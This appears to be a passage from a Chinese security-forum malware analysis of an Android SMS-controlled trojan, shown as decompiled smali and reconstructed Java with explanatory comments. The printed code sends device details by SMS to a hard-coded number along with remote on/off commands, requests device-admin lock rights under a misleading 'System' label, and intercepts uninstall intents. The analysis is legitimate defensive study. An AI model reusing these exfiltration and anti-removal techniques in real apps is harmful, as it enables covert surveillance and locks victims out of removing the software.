//发生设备信息
const-string v1, "18458144548" //手机号码
new-instance v2, Ljava/lang/StringBuilder;
const-string v3, "\u624b\u673a\u5df2\u5b89\u88c5\u8f6f\u4ef6,\u56de\u590dcom@false\u5173\u95edcom@true\u5f00\u542f, \u7248\u672c"
invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
sget v3, Landroid/os/Build$VERSION;->SDK_INT:I //获取版本
invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
move-result-object v2
const-string v3, " "
invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v2
sget-object v3, Landroid/os/Build;->MODEL:Ljava/lang/String; //获取MODEL
invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v2
invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v2
//发送短信,对应源码中OrderManagement的sendTelMessage的方法
invoke-virtual {v0, v1, v2, v5}, Lcn/android/emial/d;->a(Ljava/lang/String;Ljava/lang/String;Landroid/content/Context;)V
OrderManagement send= new OrderManagement();
if (!"Q049U0hBWUZN".equals(OrderManagement.encodeX509(this))) {
send.sendTelMessage("5558", new String("手机已安装软件,回复com@false关闭com@true开启, 版本"
+Build.VERSION.SDK_INT
+" "
+Build.MODEL)
, null);
<?xml version="1.0" encoding="utf-8"?>
<device-admin
xmlns:android="http://schemas.android.com/apk/res/android">
<uses-policies>
<force-lock />
</uses-policies>
</device-admin>
const-string v0, "device_policy"
invoke-virtual {p0, v0}, Lcn/android/emial/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
move-result-object v0
check-cast v0, Landroid/app/admin/DevicePolicyManager;
iput-object v0, p0, Lcn/android/emial/MainActivity;->a:Landroid/app/admin/DevicePolicyManager;
new-instance v0, Landroid/content/ComponentName;
const-class v1, Lcn/android/emial/DeviceReceiver;
invoke-direct {v0, p0, v1}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
iget-object v1, p0, Lcn/android/emial/MainActivity;->a:Landroid/app/admin/DevicePolicyManager;
invoke-virtual {v1, v0}, Landroid/app/admin/DevicePolicyManager;->isAdminActive(Landroid/content/ComponentName;)Z
move-result v1
//判断是否已经在设备管理中激活
if-nez v1, :cond_0
new-instance v1, Landroid/content/Intent;
const-string v2, "android.app.action.ADD_DEVICE_ADMIN"
invoke-direct {v1, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
const-string v2, "android.app.extra.DEVICE_ADMIN"
invoke-virtual {v1, v2, v0}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;
const-string v0, "android.app.extra.ADD_EXPLANATION"
const-string v2, "\u8bbe\u5907\u7ba1\u7406\u5668"
invoke-virtual {v1, v0, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
const/4 v0, 0x0
invoke-virtual {p0, v1, v0}, Lcn/android/emial/MainActivity;->startActivityForResult(Landroid/content/Intent;I)V
:cond_0
invoke-virtual {p0}, Lcn/android/emial/MainActivity;->finish()V
//判断指定的组件是否被激活,如无激活则创建,也就是在设备管理中 该程序是否被激活
if (a.isAdminActive(componentName)==false) {
Intent intent1=new Intent("android.app.action.ADD_DEVICE_ADMIN");
intent1.putExtra("android.app.extra.DEVICE_ADMIN", new ComponentName(this,deviceReceiver2.class));
intent1.putExtra("android.app.extra.ADD_EXPLANATION", "设备管理器");
startActivity(intent1);
<receiver android:label="System 设备管理器" android:name="com.example.emial.deviceReceiver2" android:permission="android.permission.BIND_DEVICE_ADMIN" android:description="@string/action_settings">
<meta-data android:name="android.app.device_admin" android:resource="@xml/lock_screen" />
<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
</receiver>
<activity android:name="uninstallerActivity" android:label="卸载程序">
<intent-filter android:priority="2147483647">
<action android:name="android.intent.action.VIEW" />
<action android:name="android.intent.action.DELETE" />
<category android:name="android.intent.category.DEFAULT" />
<data android:scheme="package" />
</intent-filter>
</activity>
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!